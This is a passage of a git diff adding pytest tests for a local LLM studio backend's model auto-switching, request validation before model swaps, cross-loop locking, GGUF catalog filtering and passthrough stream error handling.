_json_body_request({"model": "org/B-GGUF", "prompt": {}}), "tester" + ) + ) + assert exc.value.status_code == 400 + assert rec.calls == [] # no switch before rejection + + +def test_embeddings_rejects_object_input_before_switch(monkeypatch): + # Codex P2: an object input like {"input": {}} is a deterministic client error + # (only a string or array is valid); reject before the switch, like completions. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route.openai_embeddings( + _json_body_request({"model": "org/B-GGUF", "input": {}}), "tester" + ) + ) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_chat_oversized_audio_rejected_before_switch(monkeypatch): + # Codex P2: the audio size cap is a cheap, target-independent length check, so an + # oversized upload must 413 before the switch rather than loading a GGUF first. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + big = "A" * (inference_route._MAX_AUDIO_B64_CHARS + 1) + payload = _chat_request(model = "org/B-GGUF", audio_base64 = big) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 413 + assert rec.calls == [] + + +def test_chat_confirm_without_stream_mcp_rejected_before_switch(monkeypatch): + # Codex P2: mcp_enabled opens the local tool loop on its own, so confirm+no-stream + # +mcp is the same invalid shape as confirm+no-stream+tools and must 400 before + # the switch. The old guard only checked explicit tool fields and missed it. + import state.tool_policy as _tp + from fastapi import HTTPException + + monkeypatch.setattr(_tp, "get_tool_policy", lambda: None) # no CLI --disable-tools + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _chat_request( + model = "org/B-GGUF", mcp_enabled = True, confirm_tool_calls = True, stream = False + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_require_vision_rejects_text_target_before_switch(monkeypatch): + # Codex P2: an image request naming a different text-only GGUF must 400 before + # the swap, so the resident vision model is not evicted for a rejected request. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/local/B.gguf", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(inference_route, "_target_is_vision", lambda _p: False) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route._maybe_auto_switch_model( + "org/B-GGUF", object(), "t", require_vision = True + ) + ) + assert exc.value.status_code == 400 + assert rec.calls == [] # rejected before the load + + +def test_require_vision_allows_vision_target(monkeypatch): + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/local/B.gguf", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(inference_route, "_target_is_vision", lambda _p: True) + asyncio.run( + inference_route._maybe_auto_switch_model("org/B-GGUF", object(), "t", require_vision = True) + ) + assert len(rec.calls) == 1 # vision target still switches + + +def test_require_vision_ignores_reload_stash(monkeypatch): + # The reload-stash path restores the model the request was already using; the + # modality check applies only to an explicit resolver target, not a restore. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + monkeypatch.setattr( + inference_route, "_target_is_vision", lambda _p: False + ) # would reject if used + asyncio.run( + inference_route._maybe_auto_switch_model("org/B-GGUF", object(), "t", require_vision = True) + ) + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" # restored despite require_vision + + +def test_chat_validates_confirm_and_modality_before_switch(): + # Lock the order at the source: confirm-shape rejection precedes the hook, and + # the hook rejects a non-vision target before the load. + import inspect + + src = inspect.getsource(inference_route.openai_chat_completions) + assert src.index("confirm_tool_calls requires stream=true") < src.index( + "_maybe_auto_switch_model" + ) + assert "require_vision" in src + hook = inspect.getsource(inference_route._maybe_auto_switch_model) + assert hook.index("require_vision") < hook.index("_load_model_impl") + assert "does not support the image or audio input" in hook + + +def test_messages_have_image_helper(): + from models.inference import ChatMessage, ImageContentPart, ImageUrl, TextContentPart + + f = inference_route._messages_have_image + text_only = [ + ChatMessage(role = "user", content = "hi"), + ChatMessage(role = "user", content = [TextContentPart(type = "text", text = "hi")]), + ] + assert f(text_only) is False + img = ImageContentPart(type = "image_url", image_url = ImageUrl(url = "data:image/png;base64,AAAA")) + assert f([ChatMessage(role = "user", content = [img])]) is True + + +def test_anthropic_request_has_image_helper(): + from types import SimpleNamespace + + f = inference_route._anthropic_request_has_image + text = SimpleNamespace(messages = [SimpleNamespace(content = "hi")]) + assert f(text) is False + text_block = SimpleNamespace( + messages = [SimpleNamespace(content = [{"type": "text", "text": "hi"}])] + ) + assert f(text_block) is False + dict_img = SimpleNamespace(messages = [SimpleNamespace(content = [{"type": "image"}])]) + assert f(dict_img) is True + typed_img = SimpleNamespace(messages = [SimpleNamespace(content = [SimpleNamespace(type = "image")])]) + assert f(typed_img) is True + + +def test_responses_and_anthropic_wire_require_vision_from_images(): + # P2: the modality guard must fire on /v1/responses and /v1/messages too, so an + # image request can't evict a vision model for a text-only target. Lock the wiring + # at the source: each hook derives require_vision from the request's images. + import inspect + + responses_src = inspect.getsource(inference_route.openai_responses) + assert "require_vision = _messages_have_image(" in responses_src + anthropic_src = inspect.getsource(inference_route.anthropic_messages) + assert "require_vision = _anthropic_request_has_image(" in anthropic_src + # /messages/count_tokens shares the /messages translation, so it needs the same + # guard: an image count must not evict a vision model for a text-only target. + count_src = inspect.getsource(inference_route.anthropic_count_tokens) + assert "require_vision = _anthropic_request_has_image(" in count_src + + +# ── codex review (round 5): count_tokens tools, tool_choice, process-wide gate ── + + +def test_count_tokens_rejects_malformed_tool_before_switch(monkeypatch): + # Codex P2: /v1/messages/count_tokens must reject a malformed tool before the + # switch, like /messages, so a count request can't evict the loaded model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _anthropic_payload_with_tools([{"name": "broken"}]) # no input_schema/type + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_count_tokens(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_count_tokens_forwards_vision_guard_to_switch(monkeypatch): + # Codex P2: an image /v1/messages/count_tokens naming a text-only GGUF must + # carry the same require_vision guard as /messages, so it can't evict a loaded + # vision model for a swap that can't serve the request. + class _Reached(Exception): + pass + + captured = {} + + async def _capture( + model, + request, + subject, + *, + require_vision = False, + ): + captured["require_vision"] = require_vision + raise _Reached() + + monkeypatch.setattr(inference_route, "_anthropic_request_has_image", lambda p: True) + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _capture) + payload = _anthropic_payload_with_tools(None) # no tools -> tool validation passes + with pytest.raises(_Reached): + asyncio.run(inference_route.anthropic_count_tokens(payload, object(), "tester")) + assert captured["require_vision"] is True + + +def test_audio_generate_is_reload_only(monkeypatch): + # Codex P2: /audio/generate must not switch to a client-named GGUF. A local + # GGUF's audio-input capability is not a cheap pre-load probe (the mmproj signal + # can't tell an audio projector from a vision one), so resolving the client model + # could evict the working audio model for a target that then fails the audio + # check. Only the idle-stash restore runs: the hook gets the reload-only sentinel. + from models.inference import ChatCompletionRequest + + class _Reached(Exception): + pass + + captured = {} + + async def _capture( + model, + request, + subject, + *, + require_vision = False, + ): + captured["model"] = model + raise _Reached() + + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _capture) + payload = ChatCompletionRequest( + model = "org/B-GGUF", messages = [{"role": "user", "content": "say hi"}] + ) + with pytest.raises(_Reached): + asyncio.run(inference_route.generate_audio(payload, object(), "tester")) + assert captured["model"] == inference_route._RELOAD_ONLY_MODEL + + +def test_note_model_unloaded_clears_reload_stash(monkeypatch): + # Codex P2: a deliberate unload must drop the idle reload stash so the next /v1 + # request can't resurrect the just-unloaded model. (The idle loop unloads via the + # backend directly, so clearing on the route never fights keep-warm.) + import core.inference.llama_keepwarm as kw + + kw._set_last_unloaded(("org/A-GGUF", "Q4_K_M")) + assert kw.get_last_unloaded_model() == ("org/A-GGUF", "Q4_K_M") + kw.note_model_unloaded() + assert kw.get_last_unloaded_model() is None + + +def test_unload_route_clears_reload_stash(monkeypatch): + # The /unload route must clear the stash on both the GGUF and non-GGUF branches. + import inspect + src = inspect.getsource(inference_route.unload_model) + assert src.count("note_model_unloaded()") >= 2 + + +def test_non_gguf_load_clears_reload_stash(): + # A non-GGUF (Transformers/Unsloth) load must clear the stash like the GGUF + # branch, so it never lingers until the idle poll (or forever, idle-unload off). + import inspect + src = inspect.getsource(inference_route._load_model_impl) + assert src.count("note_model_loaded()") >= 2 + + +def test_chat_rejects_malformed_tool_choice_before_switch(monkeypatch): + # Codex P2: a forcing object with no function name must 400 before the switch. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _chat_request(model = "org/B-GGUF", tool_choice = {"type": "function", "function": {}}) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_chat_valid_tool_choice_reaches_hook(monkeypatch): + # A well-formed forcing object must pass the pre-check and reach the hook. + class _Reached(Exception): + pass + + async def _boom(*a, **k): + raise _Reached() + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = _chat_request( + model = "org/B-GGUF", tool_choice = {"type": "function", "function": {"name": "ok"}} + ) + with pytest.raises(_Reached): + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + + +def test_lifecycle_gate_serializes_across_loops(): + # Codex P2: the lifecycle gate must be process-wide so a swap on one loop blocks + # inference starting on another. Two loops must never hold the gate at once. + import threading + from core.inference import llama_keepwarm as kw + + state = {"cur": 0, "max": 0} + slock = threading.Lock() + + async def _use(): + async with kw._unload_gate(): + with slock: + state["cur"] += 1 + state["max"] = max(state["max"], state["cur"]) + await asyncio.sleep(0.05) + with slock: + state["cur"] -= 1 + + barrier = threading.Barrier(2) + + def _run(): + barrier.wait() + asyncio.run(_use()) + + threads = [threading.Thread(target = _run) for _ in range(2)] + for t in threads: + t.start() + for t in threads: + t.join() + assert state["max"] == 1 # never held on two loops at once + + +def test_auto_switch_serializes_across_event_loops(monkeypatch): + # Codex P2: the per-loop asyncio lock can't serialize two swaps on different + # event loops in one process. The process-wide gate must, so the two slow loads + # never overlap on the single model slot. + import threading + + backend = _FakeBackend("org/A-GGUF") + state = {"cur": 0, "max": 0} + loaded: list = [] + slock = threading.Lock() + + async def _slow_load( + request, + fastapi_request, + current_subject = None, + ): + with slock: + state["cur"] += 1 + state["max"] = max(state["max"], state["cur"]) + await asyncio.sleep(0.1) # widen the window so an unguarded race would overlap + with slock: + state["cur"] -= 1 + loaded.append(request.model_path) + backend.model_identifier = request.model_path + backend.is_loaded = True + backend._openai_advertised_id = None + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + monkeypatch.setattr(resolver, "resolve_local_gguf", lambda m: (m, "Q8_0", m)) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(inference_route, "_load_model_impl", _slow_load) + monkeypatch.setattr(inference_route, "_auto_switch_waiters", {}) + monkeypatch.setattr(inference_route, "_auto_switch_request_waiters", {}) + + barrier = threading.Barrier(2) + + def _run(model): + barrier.wait() # release both threads together so they truly race + asyncio.run(inference_route._maybe_auto_switch_model(model, object(), "t")) + + threads = [ + threading.Thread(target = _run, args = ("org/B-GGUF",)), + threading.Thread(target = _run, args = ("org/C-GGUF",)), + ] + for t in threads: + t.start() + for t in threads: + t.join() + + assert state["max"] == 1 # the gate serialized the two cross-loop swaps + assert sorted(loaded) == ["org/B-GGUF", "org/C-GGUF"] # both still swapped + + +def test_acquire_swap_gate_is_cancellation_safe(): + # A waiter cancelled while waiting for the gate (client disconnect mid-swap) + # must not leak it: after the holder releases, a fresh acquire still succeeds. + # The to_thread(acquire) approach would leak here -- its worker thread keeps + # acquiring after cancel, so the gate is taken but never released. + async def main(): + await inference_route._acquire_swap_gate() # this loop holds the gate + try: + + async def waiter(): + await inference_route._acquire_swap_gate() + + t = asyncio.create_task(waiter()) + await asyncio.sleep(0.05) # let it spin waiting on the held gate + t.cancel() + with pytest.raises(asyncio.CancelledError): + await t + finally: + inference_route._auto_switch_process_lock.release() + # Gate is free again (the cancelled waiter never acquired it). + await asyncio.wait_for(inference_route._acquire_swap_gate(), timeout = 1) + inference_route._auto_switch_process_lock.release() + + asyncio.run(asyncio.wait_for(main(), timeout = 5)) diff --git a/studio/backend/tests/test_openai_catalog.py b/studio/backend/tests/test_openai_catalog.py index f9baf20a66..552f122ebb 100644 --- a/studio/backend/tests/test_openai_catalog.py +++ b/studio/backend/tests/test_openai_catalog.py @@ -13,6 +13,7 @@ if str(_BACKEND) not in sys.path: sys.path.insert(0, str(_BACKEND)) import routes.inference as inf # noqa: E402 +from core.inference import local_model_resolver as resolver # noqa: E402 class _Info: @@ -21,10 +22,12 @@ class _Info: id, display_name, model_id = None, + is_gguf = True, ): self.id = id self.display_name = display_name self.model_id = model_id + self.is_gguf = is_gguf # drives the files-based GGUF check in the test class _FakeLlama: @@ -53,10 +56,16 @@ def test_catalog_lists_loaded_and_available(monkeypatch): return [ _Info("/data/models/Qwen3-Q4.gguf", "Qwen3-Q4"), # same as loaded -> dedup _Info("/data/models/Llama-8B-Q8.gguf", "Llama-8B-Q8"), # available, not loaded - _Info("models--org--Foo", "Foo", model_id = "org/Foo"), # hf cache repo id + # HF-cache GGUF: model_format is unset for these, so a files-based check + # (not model_format) must still list it. + _Info("models--org--Foo", "Foo", model_id = "org/Foo"), + # Non-GGUF (safetensors) can't be served via /v1: must NOT be advertised. + _Info("/data/models/Mistral-7B", "Mistral-7B", is_gguf = False), ] monkeypatch.setattr(inf, "_cached_local_catalog", _fake_catalog) + # GGUF-ness is read from the on-disk files; drive it off each info's flag here. + monkeypatch.setattr(resolver, "info_has_local_gguf", lambda info: info.is_gguf) data = asyncio.run(inf._openai_catalog_objects()) ids = {m["id"]: m for m in data} @@ -64,9 +73,12 @@ def test_catalog_lists_loaded_and_available(monkeypatch): # Loaded model is present, marked loaded, and keeps context fields. assert ids["Qwen3-Q4"]["loaded"] is True assert ids["Qwen3-Q4"]["context_length"] == 4096 - # Available-but-not-loaded models are listed too. + # Available-but-not-loaded GGUF models are listed too. assert ids["Llama-8B-Q8"]["loaded"] is False + # The HF-cache GGUF is listed despite model_format being unset. assert ids["org/Foo"]["loaded"] is False + # The non-GGUF model is filtered out (/v1 can never serve it). + assert "Mistral-7B" not in ids # The loaded gguf and the on-disk copy collapse to one clean id. assert [m["id"] for m in data].count("Qwen3-Q4") == 1 # No absolute paths or .gguf suffixes leak anywhere. @@ -76,6 +88,20 @@ def test_catalog_lists_loaded_and_available(monkeypatch): assert "/data/" not in blob +def test_catalog_lock_is_per_loop(): + # Codex P2: a module-level asyncio.Lock ties its waiters to the loop that first + # awaited it, so a second event loop awaiting it in a multi-loop process can + # hang. The catalog lock must be per-loop (distinct lock per running loop), and + # the old shared _CATALOG_LOCK must be gone so it can't be reintroduced. + async def _get(): + return inf._catalog_lock() + + a = asyncio.run(_get()) + b = asyncio.run(_get()) # a fresh event loop + assert a is not b + assert not hasattr(inf, "_CATALOG_LOCK") + + def test_empty_and_errored_scans_are_cached(monkeypatch): # Cache validity is keyed on the timestamp, not list contents, so an empty # (fresh install / no local models) or errored scan is still cached for the diff --git a/studio/backend/tests/test_openai_tool_passthrough.py b/studio/backend/tests/test_openai_tool_passthrough.py index aa36c6fed4..ccbd78e2b1 100644 --- a/studio/backend/tests/test_openai_tool_passthrough.py +++ b/studio/backend/tests/test_openai_tool_passthrough.py @@ -40,6 +40,7 @@ from routes.inference import ( _effective_max_tokens, _extract_content_parts, _friendly_error, + _friendly_upstream_error, _merge_user_content, _monitor_openai_chunk, _monitor_openai_sse_event, @@ -57,6 +58,32 @@ from routes.inference import ( from state.tool_policy import reset_tool_policy +class TestFriendlyUpstreamError: + def test_grammar_parse_failure_gets_actionable_message(self): + raw = '{"error":{"code":400,"message":"Failed to initialize samplers: failed to parse grammar","type":"invalid_request_error"}}' + msg = _friendly_upstream_error(raw) + assert "failed to parse grammar" not in msg # raw body is not surfaced verbatim + assert "tool-calling grammar" in msg and "Update Studio" in msg + + def test_failed_to_initialize_samplers_alone_matches(self): + assert "tool-calling grammar" in _friendly_upstream_error("Failed to initialize samplers") + + def test_unrelated_error_passes_through(self): + assert _friendly_upstream_error("out of memory") == "llama-server error: out of memory" + + def test_openai_passthrough_error_rewrites_grammar_failure(self): + # OpenAI-compatible agents (opencode/openclaw/hermes/pi via /v1/chat/completions) + # get the same actionable message as the Anthropic passthrough, not the raw body. + from routes.inference import _openai_passthrough_error + + exc = _openai_passthrough_error( + 400, '{"error":{"message":"Failed to initialize samplers: failed to parse grammar"}}' + ) + assert "tool-calling grammar" in exc.detail + # An unrelated upstream error still passes through verbatim. + assert "llama-server error:" in _openai_passthrough_error(500, "disk full").detail + + # ===================================================================== # ChatMessage — tool role, tool_calls, optional content # ===================================================================== @@ -1829,6 +1856,553 @@ class TestApiMonitorProviderAndCompletionStreams: chunks = [chunk async for chunk in response.body_iterator] return SimpleNamespace(chunks = chunks, body = "".join(chunks), monitor = monitor) + def test_passthrough_stream_preheader_dispatched_with_timeout(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + gate = asyncio.Event() + + async def fake_send(*_args, **_kwargs): + await gate.wait() + return httpx.Response(200, content = b"") + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + ) + + response = await asyncio.wait_for( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ), + timeout = 0.2, + ) + assert isinstance(response, _SameTaskStreamingResponse) + + gate.set() + chunks = [ + chunk.decode() if isinstance(chunk, bytes) else chunk + async for chunk in response.body_iterator + ] + assert "data: [DONE]\n\n" in "".join(chunks) + + asyncio.run(_run()) + + def test_passthrough_stream_preheader_non_200_in_window(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + async def fake_send(*_args, **_kwargs): + return httpx.Response(400, content = b'{"error":"bad"}') + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + ) + with pytest.raises(HTTPException) as exc: + await _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ) + assert exc.value.status_code == 400 + + asyncio.run(_run()) + + def test_passthrough_stream_preheader_request_error_in_window(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + async def fake_send(*_args, **_kwargs): + raise httpx.ConnectError("connectivity issue") + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + ) + with pytest.raises(HTTPException) as exc: + await _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ) + assert exc.value.status_code == 502 + + asyncio.run(_run()) + + def test_passthrough_stream_preheader_delayed_non_200_returns_sse_error(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + gate = asyncio.Event() + + async def fake_send(*_args, **_kwargs): + await gate.wait() + return httpx.Response(400, content = b'{"error":"bad"}') + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + ) + response = await asyncio.wait_for( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ), + timeout = 0.2, + ) + assert isinstance(response, _SameTaskStreamingResponse) + gate.set() + chunks = [ + chunk.decode() if isinstance(chunk, bytes) else chunk + async for chunk in response.body_iterator + ] + body = "".join(chunks) + assert "data:" in body + assert '"error"' in body + [entry] = monitor.snapshot() + assert entry["status"] == "error" + assert "bad" in entry["error"] + + asyncio.run(_run()) + + def test_passthrough_stream_preheader_delayed_context_error_keeps_error_envelope( + self, monkeypatch + ): + async def _run(): + import routes.inference as inf_mod + + gate = asyncio.Event() + ctx_msg = "request (4096 tokens) exceeds the available context size (2048 tokens)" + + async def fake_send(*_args, **_kwargs): + await gate.wait() + return httpx.Response(400, content = ctx_msg.encode("utf-8")) + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + ) + response = await asyncio.wait_for( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 2048, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ), + timeout = 0.2, + ) + assert isinstance(response, _SameTaskStreamingResponse) + + gate.set() + chunks = [ + chunk.decode() if isinstance(chunk, bytes) else chunk + async for chunk in response.body_iterator + ] + body = "".join(chunks) + payload = json.loads(body.removeprefix("data: ").strip()) + assert payload["error"]["code"] == "context_length_exceeded" + assert payload["error"]["param"] == "messages" + assert isinstance(payload["error"], dict) + + asyncio.run(_run()) + + def test_passthrough_stream_preheader_delayed_context_error_retries_truncation( + self, monkeypatch + ): + async def _run(): + import routes.inference as inf_mod + + gate = asyncio.Event() + calls = [] + err_body = json.dumps( + { + "error": { + "message": "request (10000 tokens) exceeds the available context size (2048 tokens)", + "n_prompt_tokens": 10000, + "n_ctx": 2048, + } + } + ).encode("utf-8") + + async def fake_send(_client, req, *_args, **_kwargs): + calls.append(json.loads(req.content.decode("utf-8"))) + if len(calls) == 1: + await gate.wait() + return httpx.Response(400, content = err_body) + return httpx.Response(200, content = b"") + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + messages = [ + ChatMessage(role = "system", content = "system"), + *[ + ChatMessage(role = "user", content = f"turn {idx} " + ("x" * 1000)) + for idx in range(8) + ], + ] + payload = ChatCompletionRequest( + model = "default", + messages = messages, + stream = True, + context_overflow = "truncate_middle", + ) + response = await asyncio.wait_for( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 2048, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ), + timeout = 0.2, + ) + assert isinstance(response, _SameTaskStreamingResponse) + + gate.set() + chunks = [ + chunk.decode() if isinstance(chunk, bytes) else chunk + async for chunk in response.body_iterator + ] + assert "data: [DONE]\n\n" in "".join(chunks) + assert len(calls) == 2 + assert len(calls[1]["messages"]) < len(calls[0]["messages"]) + [entry] = monitor.snapshot() + assert entry["status"] == "completed" + + asyncio.run(_run()) + + def test_passthrough_stream_preheader_delayed_request_error_cleans_up(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + gate = asyncio.Event() + cancel_id = "delayed-request-error-cancel" + + async def fake_send(*_args, **_kwargs): + await gate.wait() + raise httpx.ConnectError("delayed connectivity issue") + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + cancel_id = cancel_id, + ) + response = await asyncio.wait_for( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ), + timeout = 0.2, + ) + assert isinstance(response, _SameTaskStreamingResponse) + assert cancel_id in inf_mod._CANCEL_REGISTRY + + gate.set() + chunks = [ + chunk.decode() if isinstance(chunk, bytes) else chunk + async for chunk in response.body_iterator + ] + body = "".join(chunks) + assert "data:" in body + assert '"error"' in body + [entry] = monitor.snapshot() + assert entry["status"] == "error" + assert "Lost connection" in entry["error"] + assert cancel_id not in inf_mod._CANCEL_REGISTRY + + asyncio.run(_run()) + + def test_passthrough_stream_preheader_cancel_cleans_pending_send(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + entered = asyncio.Event() + cancelled = asyncio.Event() + cancel_id = "preheader-cancel-cleanup" + + async def fake_send(*_args, **_kwargs): + entered.set() + try: + await asyncio.Event().wait() + except asyncio.CancelledError: + cancelled.set() + raise + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + cancel_id = cancel_id, + ) + task = asyncio.create_task( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ) + ) + await asyncio.wait_for(entered.wait(), timeout = 0.2) + assert cancel_id in inf_mod._CANCEL_REGISTRY + + task.cancel() + with pytest.raises(asyncio.CancelledError): + await task + await asyncio.wait_for(cancelled.wait(), timeout = 0.2) + assert cancel_id not in inf_mod._CANCEL_REGISTRY + + asyncio.run(_run()) + + def test_passthrough_stream_unstarted_cleanup_closes_completed_send_response(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + gate = asyncio.Event() + returned = asyncio.Event() + cancel_id = "unstarted-completed-send-cleanup" + + class Stream(httpx.AsyncByteStream): + async def __aiter__(self): + if False: + yield b"" + + stream = Stream() + upstream_response = httpx.Response(200, stream = stream) + + async def fake_send(*_args, **_kwargs): + await gate.wait() + 